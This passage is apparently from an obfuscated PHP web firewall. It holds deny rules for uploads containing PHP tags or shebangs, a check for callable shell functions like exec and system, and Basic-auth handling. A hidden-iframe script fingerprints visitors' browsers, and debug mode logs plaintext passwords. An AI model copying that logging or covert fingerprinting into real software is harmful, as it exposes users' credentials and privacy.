$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 File]]] by ext\n";
$i0l1i11111011001000l1i1111010010010 = true;
}
$i0l1i11111011001000l1i1111010010010_file_content = array(
'<\?php',
'<\?=',
'^<\?',
'#\!/usr/',
'#\!/bin/',
'#\!/sbin/'
);
foreach ($i0l1i11111011001000l1i1111010010010_file_content as $i0l1i11111011001000l1i1111100000000) {
if (preg_match('~' . $i0l1i11111011001000l1i1111100000000 . '~smi', $content, $match)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 File Content]]] by $i0l1i11111011001000l1i1111100000000\n";
$i0l1i11111011001000l1i1111010010010 = true;
break;
}
}
}
}
}
}
$i0l1i11111011001000l1i1111011110110 = md5($i0l1i11111011001000l1i1111011110110);
if (in_array($i0l1i11111011001000l1i1111011110110, $this->skip_posts)) {
$i0l1i11111011001000l1i1111010011100 = '';
}
}
break;
}
if (isset($_GET[md5(LOR_CONFIG("L\x4f\x52_\x4b\x45Y"))])) {
$s = (int) $_GET["s\x68\x6fr\x74"];
echo ($s ? "1" : '<font color=green>WEB PROTECTION (WAF) - OK</font><p>');
$l_FileList = explode(',', 'wp-config.php,wp-settings.php,configuration.php,.htaccess,administrator/index.php,administrator/,wp-includes,wp-admin,templates,manager,includes/router.php,components/com_contact/views,manager/templates,modules/user,bitrix/admin/index.php,admin/index.php,cgi-bin');
$l_Protected = true;
$l_UnprotectedList = array();
foreach ($l_FileList as $l_F) {
if (file_exists($l_F) && ((fileperms($l_F) & 000222) > 0)) {
$l_Protected = false;
$l_UnprotectedList[] = $l_F;
}
}
if ($l_Protected) {
echo ($s ? "1" : '<font color=green>FILES - OK</font>');
} else {
echo ($s ? "0" : '<font color=red>FILES - INSECURE: ' . implode(', ', $l_UnprotectedList) . '</font>');
}
die();
}
if (LOR_CONFIG("L\x4f\x52_\x44\x45F\x45\x4eD")) {
$i0l1i11111011001000l1i1111011011000 = array(
$_GET
);
$labels = array(
"g\x76"
);
$cnt = -1;
foreach ($i0l1i11111011001000l1i1111011011000 as $i0l1i11111011001000l1i1111011100010) {
$cnt++;
foreach ($i0l1i11111011001000l1i1111011100010 as $var => $i0l1i11111011001000l1i1111011101100) {
if (is_array($i0l1i11111011001000l1i1111011101100)) {
$i0l1i11111011001000l1i1111011101100 = json_encode($i0l1i11111011001000l1i1111011101100);
}
if (LOR_CONFIG("L\x4f\x52_\x44\x45F\x45\x4eD")) {
foreach ($this->deny_content as $i0l1i11111011001000l1i1111100000000) {
if (preg_match('~' . $i0l1i11111011001000l1i1111100000000 . '~i', $i0l1i11111011001000l1i1111011101100, $fnd)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 Content]]] by $i0l1i11111011001000l1i1111100000000\n";
$i0l1i10000000100010 = true;
$i0l1i11111011001000l1i1111010010010 = true;
break;
}
}
foreach ($this->deny_var as $i0l1i11111011001000l1i1111100000000) {
if (preg_match('|' . $i0l1i11111011001000l1i1111100000000 . '|i', $var, $fnd)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 Var]]] by $i0l1i11111011001000l1i1111100000000\n";
$i0l1i10000000100010 = true;
$i0l1i11111011001000l1i1111010010010 = true;
break;
}
}
}
}
}
}
if ($_SERVER["R\x45\x4dO\x54\x45_\x41\x44D\x52"] == $_SERVER["S\x45\x52V\x45\x52_\x41\x44D\x52"] || $_SERVER["R\x45\x4dO\x54\x45_\x41\x44D\x52"] == "1\x32\x37.\x30\x2e0\x2e\x31") {
$i0l1i11111011001000l1i1111010100110 = true;
}
if ((!$i0l1i11111011001000l1i1111010100110) && LOR_CONFIG("L\x4f\x52_\x41\x4eT\x49\x46L\x4f\x4fD") && ($_SERVER["R\x45\x51U\x45\x53T\x5f\x4dE\x54\x48O\x44"] == "G\x45\x54") && (@$_COOKIE[$i0l1i11111011001000l1i1111100010100] != $anti_flood_value)) {
$custom_template = '';
$custom_af_file = LOR_CONFIG("L\x4f\x52_\x43\x55S\x54\x4fM\x5f\x41F\x5f\x54E\x4d\x50L\x41\x54E");
if (file_exists($custom_af_file)) {
$custom_template = file_get_contents($custom_af_file);
}
$anti_http_flood = "<html><script>";
$anti_http_flood .= "function set_cookie(){ var now = new Date(); var time = now.getTime(); time += 19350000 * 1000; now.setTime(time); document.cookie='" . $i0l1i11111011001000l1i1111100010100 . "=" . $anti_flood_value . "; expires=' + now.toGMTString() + '; path=/'; } set_cookie(); setTimeout('window.location.reload();', 50);";
$anti_http_flood .= '</script><body>' . $custom_template . '</body>';
$anti_http_flood .= '<script>var _0xf868=["\x6F\x62\x6A\x65\x63\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x5F\x5F\x63\x79\x63\x6C\x65\x5F\x5F","\x70\x75\x73\x68","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x6C\x65\x6E\x67\x74\x68","\x70\x6C\x75\x67\x69\x6E\x73","\x6E\x61\x6D\x65","\x20\x66\x6E\x3D","\x66\x69\x6C\x65\x6E\x61\x6D\x65","\x20\x76\x3D","\x76\x65\x72\x73\x69\x6F\x6E","\x61\x70\x70\x43\x6F\x64\x65\x4E\x61\x6D\x65","\x20\x7E\x20","\x70\x6C\x61\x74\x66\x6F\x72\x6D","\x70\x72\x6F\x64\x75\x63\x74","\x61\x70\x70\x4E\x61\x6D\x65","\x61\x70\x70\x56\x65\x72\x73\x69\x6F\x6E","\x63\x6F\x6F\x6B\x69\x65\x45\x6E\x61\x62\x6C\x65\x64","\x67\x65\x6F\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x6C\x61\x6E\x67\x75\x61\x67\x65","\x70\x68\x61\x6E\x74\x6F\x6D","\x69\x66\x72\x61\x6D\x65","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x77\x69\x64\x74\x68","\x31\x70\x78","\x68\x65\x69\x67\x68\x74","\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x68\x69\x64\x64\x65\x6E","\x62\x6F\x72\x64\x65\x72","\x30","\x69\x64","\x6A\x61\x64\x66\x76\x71\x69\x77\x63\x71\x77","\x73\x72\x63","\x2F\x3F\x6C\x6F\x72\x5F\x75\x61\x69\x3D"];var jsonify=function(_0x856ex2){var _0x856ex3=[];var _0x856ex4=JSON[_0xf868[4]](_0x856ex2,function(_0x856ex5,_0x856ex6){if( typeof _0x856ex6== _0xf868[0]){if(!_0x856ex3[_0xf868[1]](_0x856ex6)){return _0xf868[2]};_0x856ex3[_0xf868[3]](_0x856ex6)};return _0x856ex6});return _0x856ex4};var L=navigator[_0xf868[6]][_0xf868[5]];var a=[];for(var i=0;i< L;i++){a[_0xf868[3]](navigator[_0xf868[6]][i][_0xf868[7]]+ _0xf868[8]+ navigator[_0xf868[6]][i][_0xf868[9]]+ _0xf868[10]+ navigator[_0xf868[6]][i][_0xf868[11]])};var ua_info=navigator[_0xf868[12]]+ _0xf868[13]+ navigator[_0xf868[14]]+ _0xf868[13]+ navigator[_0xf868[15]]+ _0xf868[13]+ navigator[_0xf868[16]]+ _0xf868[13]+ navigator[_0xf868[17]]+ _0xf868[13]+ navigator[_0xf868[18]]+ _0xf868[13]+ jsonify(navigator[_0xf868[19]])+ _0xf868[13]+ navigator[_0xf868[20]]+ _0xf868[13]+ window[_0xf868[21]]+ _0xf868[13]+ jsonify(a);var el=document[_0xf868[23]](_0xf868[22]);document[_0xf868[25]][_0xf868[24]](el);el[_0xf868[26]]= _0xf868[27];el[_0xf868[28]]= _0xf868[27];el[_0xf868[30]][_0xf868[29]]= _0xf868[31];el[_0xf868[32]]= _0xf868[33];el[_0xf868[34]]= _0xf868[35];el[_0xf868[36]]= _0xf868[37]+ escape(ua_info);</script></html>';
echo $anti_http_flood;
die();
}
if (strlen($i0l1i11111011001000l1i1111010011100) > 0) {
$i0l1i1111111111010 = md5($i0l1i11111011001000l1i1111010011100);
if ($_SERVER["R\x45\x51U\x45\x53T\x5f\x4dE\x54\x48O\x44"] == "P\x4f\x53T") {
$i0l1i11111011001000l1i1111010011100 .= "\t\t\t----- ### -- {bid:" . $i0l1i1111111111010 . "} @ph:" . $i0l1i11111011001000l1i1111011110110 . "@\n\n";
}
$this->i0l1i10000000011000($i0l1i11111011001000l1i1111010011100);
}
if (LOR_CONFIG("L\x4f\x52_\x44\x45F\x45\x4eD") && $i0l1i11111011001000l1i1111010010010 && (!$this->i0l1i1111111011100($i0l1i10000000100010, LOR_CONFIG("L\x4f\x52_\x41\x55T\x48\x5fO\x4e\x5f4\x30\x33"), $i0l1i1111111111010))) {
header('HTTP/1.0 403 Forbidden');
echo date("d/m/Y H:i:s", time()) . "\n";
echo "Blocked $i0l1i1111111111010\n\n";
die();
}
}
private function i0l1i1111110111110()
{
$i0l1i11111011001000l1i1111100011110 = '';
if (isset($_SERVER["R\x45\x4dO\x54\x45_\x41\x44D\x52"])) {
return $_SERVER["R\x45\x4dO\x54\x45_\x41\x44D\x52"];
}
if (getenv("H\x54\x54P\x5f\x43L\x49\x45N\x54\x5fI\x50"))
$i0l1i11111011001000l1i1111100011110 = getenv("H\x54\x54P\x5f\x43L\x49\x45N\x54\x5fI\x50");
else if (getenv("H\x54\x54P\x5f\x58_\x46\x4fR\x57\x41R\x44\x45D\x5f\x46O\x52"))
$i0l1i11111011001000l1i1111100011110 = getenv("H\x54\x54P\x5f\x58_\x46\x4fR\x57\x41R\x44\x45D\x5f\x46O\x52");
else if (getenv("H\x54\x54P\x5f\x58_\x46\x4fR\x57\x41R\x44\x45D"))
$i0l1i11111011001000l1i1111100011110 = getenv("H\x54\x54P\x5f\x58_\x46\x4fR\x57\x41R\x44\x45D");
else if (getenv("H\x54\x54P\x5f\x46O\x52\x57A\x52\x44E\x44\x5fF\x4f\x52"))
$i0l1i11111011001000l1i1111100011110 = getenv("H\x54\x54P\x5f\x46O\x52\x57A\x52\x44E\x44\x5fF\x4f\x52");
else if (getenv("H\x54\x54P\x5f\x46O\x52\x57A\x52\x44E\x44"))
$i0l1i11111011001000l1i1111100011110 = getenv("H\x54\x54P\x5f\x46O\x52\x57A\x52\x44E\x44");
else if (getenv("R\x45\x4dO\x54\x45_\x41\x44D\x52"))
$i0l1i11111011001000l1i1111100011110 = getenv("R\x45\x4dO\x54\x45_\x41\x44D\x52");
else
$i0l1i11111011001000l1i1111100011110 = "U\x4e\x4bN\x4f\x57N";
return $i0l1i11111011001000l1i1111100011110;
}
private function i0l1i10000011101010($i0l1i11111011001000l1i1111100000000ing = '')
{
return (bool) !preg_match('/[\\x00-\\x1F\\x80-\\xff]+/', $i0l1i11111011001000l1i1111100000000ing);
}
function i0l1i1111111001000()
{
$i0l1i11111011001000l1i1111011001110 = (isset($_SERVER["H\x54\x54P\x53"]) && $_SERVER["H\x54\x54P\x53"] && !in_array(strtolower($_SERVER["H\x54\x54P\x53"]), array(
"o\x66\x66",
"n\x6f"
))) ? "h\x74\x74p\x73" : "h\x74\x74p";
$i0l1i11111011001000l1i1111011001110 .= '://' . $_SERVER["H\x54\x54P\x5f\x48O\x53\x54"];
$i0l1i11111011001000l1i1111011001110 .= $_SERVER["R\x45\x51U\x45\x53T\x5f\x55R\x49"];
return $i0l1i11111011001000l1i1111011001110;
}
function i0l1i1111111010010($i0l1i11111011001000l1i1111010111010)
{
if (LOR_CONFIG("L\x4f\x52_\x41\x50P\x52\x4fV\x45\x44_\x55\x41") !== null) {
if (preg_match('~' . LOR_CONFIG("L\x4f\x52_\x41\x50P\x52\x4fV\x45\x44_\x55\x41") . '~smi', $this->HTTP_UA, $found)) {
if (LOR_CONFIG("L\x4f\x52_\x44\x45B\x55\x47_\x4d\x4fD\x45")) {
$this->i0l1i10000000011000("[OK]-> [:[[wl by approved ua: " . $this->HTTP_UA . "]]]\n");
}
return true;
}
}
foreach ($this->i0l1i10000101110110 as $wl_url) {
if (preg_match("~" . $wl_url . "~smi", $i0l1i11111011001000l1i1111010111010, $match)) {
return true;
}
}
return false;
}
function i0l1i10000000011000($i0l1i11111011001000l1i1111010011100)
{
file_put_contents($this->i0l1i1111001111110, $i0l1i11111011001000l1i1111010011100, FILE_APPEND | LOCK_EX);
$this->i0l1i10000001010100();
}
function i0l1i1111111011100($i0l1i10000000100010, $i0l1i1111110101010 = false, $i0l1i1111111111010 = '')
{
$i0l1i11111011001000l1i1111010011100 = '';
if ($_SERVER["R\x45\x4dO\x54\x45_\x41\x44D\x52"] == $_SERVER["S\x45\x52V\x45\x52_\x41\x44D\x52"] || $_SERVER["R\x45\x4dO\x54\x45_\x41\x44D\x52"] == "1\x32\x37.\x30\x2e0\x2e\x31") {
$this->i0l1i10000000011000("[OK]-> [:[[wl by server ip " . $_SERVER["R\x45\x4dO\x54\x45_\x41\x44D\x52"] . "]]]\n");
return true;
}
foreach ($this->i0l1i1111001110100 as $i0l1i1111101100100p) {
if (preg_match("~" . $i0l1i1111101100100p . "~smi", $_SERVER["R\x45\x4dO\x54\x45_\x41\x44D\x52"], $match)) {
$this->i0l1i10000000011000("[OK]-> [:[[wl by $i0l1i1111101100100p]]]\n");
return true;
}
}
if (!$i0l1i10000000100010 && $this->i0l1i1111111010010($this->i0l1i1111111001000())) {
$this->i0l1i10000000011000("[OK]-> [:[[" . $this->i0l1i1111111001000() . " wl by rule]]]\n");
return true;
}
if (LOR_CONFIG("L\x4f\x52_\x44\x45B\x55\x47_\x4d\x4fD\x45")) {
$all_vars = json_encode($_SERVER);
$this->i0l1i10000000011000("[DEBUG] " . $all_vars . "\n");
}
if (isset($_REQUEST["L\x4f\x52_\x41\x55T\x48"]) && (!isset($_SERVER["H\x54\x54P\x5f\x41U\x54\x48O\x52\x49Z\x41\x54I\x4f\x4e"]))) {
$_SERVER["H\x54\x54P\x5f\x41U\x54\x48O\x52\x49Z\x41\x54I\x4f\x4e"] = @$_REQUEST["L\x4f\x52_\x41\x55T\x48"];
}
if (isset($_SERVER["R\x45\x44I\x52\x45C\x54\x5fH\x54\x54P\x5f\x41U\x54\x48O\x52\x49Z\x41\x54I\x4f\x4e"]) && (!isset($_SERVER["H\x54\x54P\x5f\x41U\x54\x48O\x52\x49Z\x41\x54I\x4f\x4e"]))) {
$_SERVER["H\x54\x54P\x5f\x41U\x54\x48O\x52\x49Z\x41\x54I\x4f\x4e"] = @$_SERVER["R\x45\x44I\x52\x45C\x54\x5fH\x54\x54P\x5f\x41U\x54\x48O\x52\x49Z\x41\x54I\x4f\x4e"];
}
$i0l1i11111011001000l1i1111100111100 = @base64_decode(@substr(@$_SERVER["H\x54\x54P\x5f\x41U\x54\x48O\x52\x49Z\x41\x54I\x4f\x4e"], 6));
if ((strlen($i0l1i11111011001000l1i1111100111100) > 0) || (strcasecmp($i0l1i11111011001000l1i1111100111100, ":") == 0)) {
list($i0l1i11111011001000l1i1111100101000, $i0l1i11111011001000l1i1111100110010) = @explode(':', $i0l1i11111011001000l1i1111100111100);
$_SERVER["P\x48\x50_\x41\x55T\x48\x5fU\x53\x45R"] = $i0l1i11111011001000l1i1111100101000;
$_SERVER["P\x48\x50_\x41\x55T\x48\x5fP\x57"] = $i0l1i11111011001000l1i1111100110010;
}
if (isset($_SERVER["P\x48\x50_\x41\x55T\x48\x5fU\x53\x45R"])) {
if (LOR_CONFIG("L\x4f\x52_\x44\x45B\x55\x47_\x4d\x4fD\x45")) {
$this->i0l1i10000000011000("[DEBUG] USER [" . $_SERVER["P\x48\x50_\x41\x55T\x48\x5fU\x53\x45R"] . "]\n");
if (!file_exists(LOR_CONFIG("L\x4f\x52_\x48\x54P\x41\x53S\x57\x44"))) {
$this->i0l1i10000000011000("[DEBUG] password file not found [" . LOR_CONFIG("L\x4f\x52_\x48\x54P\x41\x53S\x57\x44") . "]\n");
}
}
$i0l1i11111011001000l1i1111100001010_contents = @file_get_contents(LOR_CONFIG("L\x4f\x52_\x48\x54P\x41\x53S\x57\x44"));
$i0l1i11111011001000l1i1111101010000 = @explode("\n", @trim($i0l1i11111011001000l1i1111100001010_contents));
$i0l1i1111101100100 = 0;
while ($i0l1i1111101100100 <= sizeof($i0l1i11111011001000l1i1111101010000)) {
if (LOR_CONFIG("L\x4f\x52_\x44\x45B\x55\x47_\x4d\x4fD\x45")) {
$this->i0l1i10000000011000("[DEBUG] htaccess=[" . $i0l1i11111011001000l1i1111101010000[$i0l1i1111101100100] . "]\n");
}
$i0l1i11111011001000l1i1111010011100_pair = @explode(":", $i0l1i11111011001000l1i1111101010000[$i0l1i1111101100100]);
$i0l1i11111011001000l1i1111010011100_pair[0] = @trim(@$i0l1i11111011001000l1i1111010011100_pair[0]);
$i0l1i11111011001000l1i1111010011100_pair[1] = @trim(@$i0l1i11111011001000l1i1111010011100_pair[1]);
if ($i0l1i11111011001000l1i1111010011100_pair[0] == @$_SERVER["P\x48\x50_\x41\x55T\x48\x5fU\x53\x45R"]) {
$i0l1i11111011001000l1i1111101011010 = @$_SERVER["P\x48\x50_\x41\x55T\x48\x5fP\x57"];
$pass = explode("\$", $i0l1i11111011001000l1i1111010011100_pair[1]);
$i0l1i10000000001110 = $pass[2];
$len = strlen($i0l1i11111011001000l1i1111101011010);
$text = $i0l1i11111011001000l1i1111101011010 . '$apr1$' . $i0l1i10000000001110;
$bin = md5($i0l1i11111011001000l1i1111101011010 . $i0l1i10000000001110 . $i0l1i11111011001000l1i1111101011010, true);
for ($i0l1i1111101100100 = $len; $i0l1i1111101100100 > 0; $i0l1i1111101100100 -= 16) {
$text .= substr($bin, 0, min(16, $i0l1i1111101100100));
}
for ($i0l1i1111101100100 = $len; $i0l1i1111101100100 > 0; $i0l1i1111101100100 >>= 1) {
$text .= ($i0l1i1111101100100 & 1) ? chr(0) : $i0l1i11111011001000l1i1111101011010{0};
}
$bin = pack("H\x33\x32", md5($text));
for ($i0l1i1111101100100 = 0; $i0l1i1111101100100 < 1000; $i0l1i1111101100100++) {
$i0l1i1111101101110 = ($i0l1i1111101100100 & 1) ? $i0l1i11111011001000l1i1111101011010 : $bin;
if ($i0l1i1111101100100 % 3)
$i0l1i1111101101110 .= $i0l1i10000000001110;
if ($i0l1i1111101100100 % 7)
$i0l1i1111101101110 .= $i0l1i11111011001000l1i1111101011010;
$i0l1i1111101101110 .= ($i0l1i1111101100100 & 1) ? $bin : $i0l1i11111011001000l1i1111101011010;
$bin = pack("H\x33\x32", md5($i0l1i1111101101110));
}
$i0l1i1111110001100 = "";
for ($i0l1i1111101100100 = 0; $i0l1i1111101100100 < 5; $i0l1i1111101100100++) {
$i0l1i1111101111000 = $i0l1i1111101100100 + 6;
$i0l1i1111110000010 = $i0l1i1111101100100 + 12;
if ($i0l1i1111110000010 == 16)
$i0l1i1111110000010 = 5;
$i0l1i1111110001100 = $bin[$i0l1i1111101100100] . $bin[$i0l1i1111101111000] . $bin[$i0l1i1111110000010] . $i0l1i1111110001100;
}
$i0l1i1111110001100 = chr(0) . chr(0) . $bin[11] . $i0l1i1111110001100;
$i0l1i1111110001100 = strtr(strrev(substr(base64_encode($i0l1i1111110001100), 2)), "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", LOR_TRANSLATE_TO);
$i0l1i1111110010110 = "$" . "a\x70\x721" . "$" . $i0l1i10000000001110 . "$" . $i0l1i1111110001100;
if (LOR_CONFIG("L\x4f\x52_\x44\x45B\x55\x47_\x4d\x4fD\x45")) {
$this->i0l1i10000000011000("[DEBUG] user=" . @$_SERVER["P\x48\x50_\x41\x55T\x48\x5fU\x53\x45R"] . " pass=" . @$_SERVER["P\x48\x50_\x41\x55T\x48\x5fP\x57"] . " (($i0l1i1111110010110)) vs ((" . ($i0l1i11111011001000l1i1111010011100_pair[1]) . "))\n");
}
if ($i0l1i1111110010110 == $i0l1i11111011001000l1i1111010011100_pair[1]) {
if (LOR_CONFIG("L\x4f\x52_\x44\x45B\x55\x47_\x4d\x4fD\x45")) {
$this->i0l1i10000000011000("[DEBUG] user " . @$_SERVER["P\x48\x50_\x41\x55T\x48\x5fU\x53\x45R"] . " logged\n");
}
return true;
} else {
if (LOR_CONFIG("L\x4f\x52_\x44\x45B\x55\x47_\x4d\x4fD\x45")) {
$this->i0l1i10000000011000("[DEBUG] user " . @$_SERVER["P\x48\x50_\x41\x55T\x48\x5fU\x53\x45R"] . " failed\n");
}
}
}
$i0l1i1111101100100++;
}
}
if ($i0l1i1111110101010) {
header('WWW-Authenticate: Basic realm="Password Required"');
header('HTTP/1.0 401 Unauthorized');
echo date("d/m/Y H:i:s", time()) . ", Required User Authentication" . ($i0l1i1111111111010 != '' ? ", bid: [$i0l1i1111111111010]" : "");
$i0l1i11111011001000l1i1111010011100 .= "* " . @$_SERVER["R\x45\x51U\x45\x53T\x5f\x4dE\x54\x48O\x44"] . "\t" . $this->i0l1i1111110111110() . "\t" . date("d/m/Y H:i:s", time()) . "\t" . $this->i0l1i1111111001000();
$i0l1i11111011001000l1i1111010011100 .= "\tR: " . $this->HTTP_REF . "\tUA: " . $this->HTTP_UA . "\t" . @$_SESSION["l\x6f\x72_\x73\x65s\x73\x69o\x6e"] . "\n";
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[401 AUTH]]]" . ($i0l1i1111111111010 != '' ? " bid: [$i0l1i1111111111010]" : "") . "\n";
$this->i0l1i10000000011000($i0l1i11111011001000l1i1111010011100);
die();
} else {
return false;
}
}
function i0l1i1111111100110($fn)
{
$i0l1i10000000000100 = array();
if (file_exists(LOR_RULES_FOLDER . "/" . $fn)) {
$i0l1i1111111110000 = explode("\n", @trim(@file_get_contents(LOR_RULES_FOLDER . "/" . $fn)));
for ($i0l1i1111101100100 = 0; $i0l1i1111101100100 < count($i0l1i1111111110000); $i0l1i1111101100100++) {
$i0l1i1111111110000[$i0l1i1111101100100] = trim($i0l1i1111111110000[$i0l1i1111101100100]);
if (($i0l1i1111111110000[$i0l1i1111101100100] != '') && (strpos($i0l1i1111111110000[$i0l1i1111101100100], '#') !== 0)) {
$i0l1i10000000000100[] = $i0l1i1111111110000[$i0l1i1111101100100];
}
}
} else {
$this->i0l1i1111001101010[] = 'Cannot load rules:' . LOR_RULES_FOLDER . "/" . $fn;
}
return $i0l1i10000000000100;
}
function i0l1i10000001010100()
{
if (@filesize($this->i0l1i1111001111110) > LOR_CONFIG("L\x4f\x52_\x4c\x4fG\x53\x5fS\x49\x5aE\x5f\x4cI\x4d\x49T") / 10) {
rename($this->i0l1i1111001111110, $this->i0l1i1111001111110 . "." . time());
file_put_contents($this->i0l1i1111001111110, "----------------------------------- [[[LOG_ROTATE " . date("d/m/Y H:i:s", time()) . "]]]\n\n", FILE_APPEND | LOCK_EX);
$the_oldest = time();
$i0l1i10000000110110 = '';
$i0l1i10000001000000 = 0;
foreach (glob(LOR_LOG_FOLDER . '/.lor_*') as $i0l1i10000010100100) {
$i0l1i10000001000000 += filesize($i0l1i10000010100100);
if ($i0l1i10000010100100 == $this->i0l1i1111001111110)
continue;
$i0l1i10000001001010 = filectime($i0l1i10000010100100);
if ($i0l1i10000001001010 < $the_oldest) {
$i0l1i10000000110110 = $i0l1i10000010100100;
$the_oldest = $i0l1i10000001001010;
}
}
if ($i0l1i10000001000000 > LOR_LOGS_SIZE_LIMIT) {
if (file_exists($i0l1i10000000110110)) {
unlink($i0l1i10000000110110);
file_put_contents($this->i0l1i1111001111110, "----------------------------------- [[[LOG_REMOVAL $i0l1i10000000110110 " . date("d/m/Y H:i:s", time()) . "]]]\n\n", FILE_APPEND | LOCK_EX);
}
}
}
}
function i0l1i10000001110010()
{
$i0l1i10000001011110 = "a\x64\x6di\x6e" . substr(str_shuffle("a\x62\x41B\x43\x44E\x46\x47H\x49\x4aK\x4c\x4dN\x50\x63d\x65\x66g\x68\x6ak\x6d\x6ep\x71\x72s\x74\x75v\x77\x78y\x7a\x323\x34\x356\x37\x389"), 0, 4);
$i0l1i11111011001000l1i1111100110010 = substr(str_shuffle("a\x62\x41B\x43\x44E\x46\x47H\x49\x4aK\x4c\x4dN\x50\x63d\x65\x66g\x68\x6ak\x6d\x6ep\x71\x72s\x74\x75v\x77\x78y\x7a\x323\x34\x356\x37\x389"), 0, 12);
$i0l1i10000001111100 = $this->i0l1i10000010000110($i0l1i11111011001000l1i1111100110010);
header("Content-Type: text/html\n");
echo "<pre style='font-size: 18px'>Login: <font color=green>" . $i0l1i10000001011110 . "</font>\n";
echo "Password: <font color=green>" . $i0l1i11111011001000l1i1111100110010 . "</font>\n\n";
echo "Add to file: \n\n<font color=blue>" . $i0l1i10000001011110 . ":" . $i0l1i10000001111100 . "</font>\n</pre>";
}
function i0l1i10000010000110($i0l1i11111011001000l1i1111101011010)
{
$i0l1i10000000001110 = substr(str_shuffle(LOR_TRANSLATE_TO), 0, 8);
$len = strlen($i0l1i11111011001000l1i1111101011010);
$text = $i0l1i11111011001000l1i1111101011010 . '$apr1$' . $i0l1i10000000001110;
$bin = md5($i0l1i11111011001000l1i1111101011010 . $i0l1i10000000001110 . $i0l1i11111011001000l1i1111101011010, true);
for ($i0l1i1111101100100 = $len; $i0l1i1111101100100 > 0; $i0l1i1111101100100 -= 16) {
$text .= substr($bin, 0, min(16, $i0l1i1111101100100));
}
for ($i0l1i1111101100100 = $len; $i0l1i1111101100100 > 0; $i0l1i1111101100100 >>= 1) {
$text .= ($i0l1i1111101100100 & 1) ? chr(0) : $i0l1i11111011001000l1i1111101011010{0};
}
$bin = pack("H\x33\x32", md5($text));
for ($i0l1i1111101100100 = 0; $i0l1i1111101100100 < 1000; $i0l1i1111101100100++) {
$i0l1i1111101101110 = ($i0l1i1111101100100 & 1) ? $i0l1i11111011001000l1i1111101011010 : $bin;
if ($i0l1i1111101100100 % 3)
$i0l1i1111101101110 .= $i0l1i10000000001110;
if ($i0l1i1111101100100 % 7)
$i0l1i1111101101110 .= $i0l1i11111011001000l1i1111101011010;
$i0l1i1111101101110 .= ($i0l1i1111101100100 & 1) ? $bin : $i0l1i11111011001000l1i1111101011010;
$bin = pack("H\x33\x32", md5($i0l1i1111101101110));
}
for ($i0l1i1111101100100 = 0; $i0l1i1111101100100 < 5; $i0l1i1111101100100++) {
$i0l1i1111101111000 = $i0l1i1111101100100 + 6;
$i0l1i1111110000010 = $i0l1i1111101100100 + 12;
if ($i0l1i1111110000010 == 16)
$i0l1i1111110000010 = 5;
$i0l1i1111110001100 = $bin[$i0l1i1111101100100] . $bin[$i0l1i1111101111000] . $bin[$i0l1i1111110000010] . $i0l1i1111110001100;
}
$i0l1i1111110001100 = chr(0) . chr(0) . $bin[11] . $i0l1i1111110001100;
$i0l1i1111110001100 = strtr(strrev(substr(base64_encode($i0l1i1111110001100), 2)), "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", LOR_TRANSLATE_TO);
return "$" . "a\x70\x721" . "$" . $i0l1i10000000001110 . "$" . $i0l1i1111110001100;
}
function i0l1i10000010011010($i0l1i10000010111000, $recurs, $i0l1i10000011001100, &$i0l1i10000011010110, $i0l1i10000011100000, &$i0l1i10000010010000)
{
if ($i0l1i10000011100000 > 15) {
return;
}
$i0l1i10000010101110 = time();
if ($i0l1i10000011000010 = opendir($i0l1i10000010111000)) {
while ($i0l1i11111011001000l1i1111100001010 = readdir($i0l1i10000011000010)) {
if ($i0l1i11111011001000l1i1111100001010 == "." or $i0l1i11111011001000l1i1111100001010 == ".\x2e" or is_link($i0l1i11111011001000l1i1111100001010))
continue;
$i0l1i11111011001000l1i1111100101000 = $i0l1i11111011001000l1i1111100001010;
$i0l1i11111011001000l1i1111100001010 = $i0l1i10000010111000 . "/" . $i0l1i11111011001000l1i1111100001010;
if (is_dir($i0l1i11111011001000l1i1111100001010) && $recurs) {
$this->i0l1i10000010011010($i0l1i11111011001000l1i1111100001010, $recurs, $i0l1i10000011001100, $i0l1i10000011010110, $i0l1i10000011100000 + 1, $i0l1i10000010010000);
}
$i0l1i10000101001110 = filectime($i0l1i11111011001000l1i1111100001010);
$i0l1i10000101011000 = filemtime($i0l1i11111011001000l1i1111100001010);
if (($i0l1i10000010101110 - $i0l1i10000101001110 <= $i0l1i10000011001100) || ($i0l1i10000010101110 - $i0l1i10000101011000 <= $i0l1i10000011001100)) {
foreach ($i0l1i10000010010000 as $ext) {
if (strpos($i0l1i11111011001000l1i1111100001010, "." . $ext) !== false || is_dir($i0l1i11111011001000l1i1111100001010)) {
$i0l1i1111101100100tem = array(
$i0l1i10000101001110,
$i0l1i10000101011000,
$i0l1i11111011001000l1i1111100001010,
filetype($i0l1i11111011001000l1i1111100001010)
);
$i0l1i10000011010110[] = $i0l1i1111101100100tem;
break;
}
}
}
}
closedir($i0l1i10000011000010);
}
}
function allowedPHPFunctions()
{
$i0l1i10000100110000 = explode(',', 'popen,exec,ftp_exec,system,passthru,proc_open,chmod,shell_exec,phpinfo');
$disabled = true;
$not_disabled = array();
foreach ($i0l1i10000100110000 as $f) {
if (function_exists($f) && is_callable($f)) {
$disabled = false;
$not_disabled[] = $f;
}
}
return implode(", ", $not_disabled);
}
function i0l1i10000100011100()
{
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $_SERVER["H\x54\x54P\x5f\x48O\x53\x54"] . '.log"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
$i0l1i11111011001000l1i1111100001010_list = glob(LOR_LOG_FOLDER . '/.lor*');
foreach ($i0l1i11111011001000l1i1111100001010_list as $fn) {
$i0l1i11111011001000l1i1111100001010s_arr[$fn] = filectime($fn);
}
asort($i0l1i11111011001000l1i1111100001010s_arr);
$log = array();
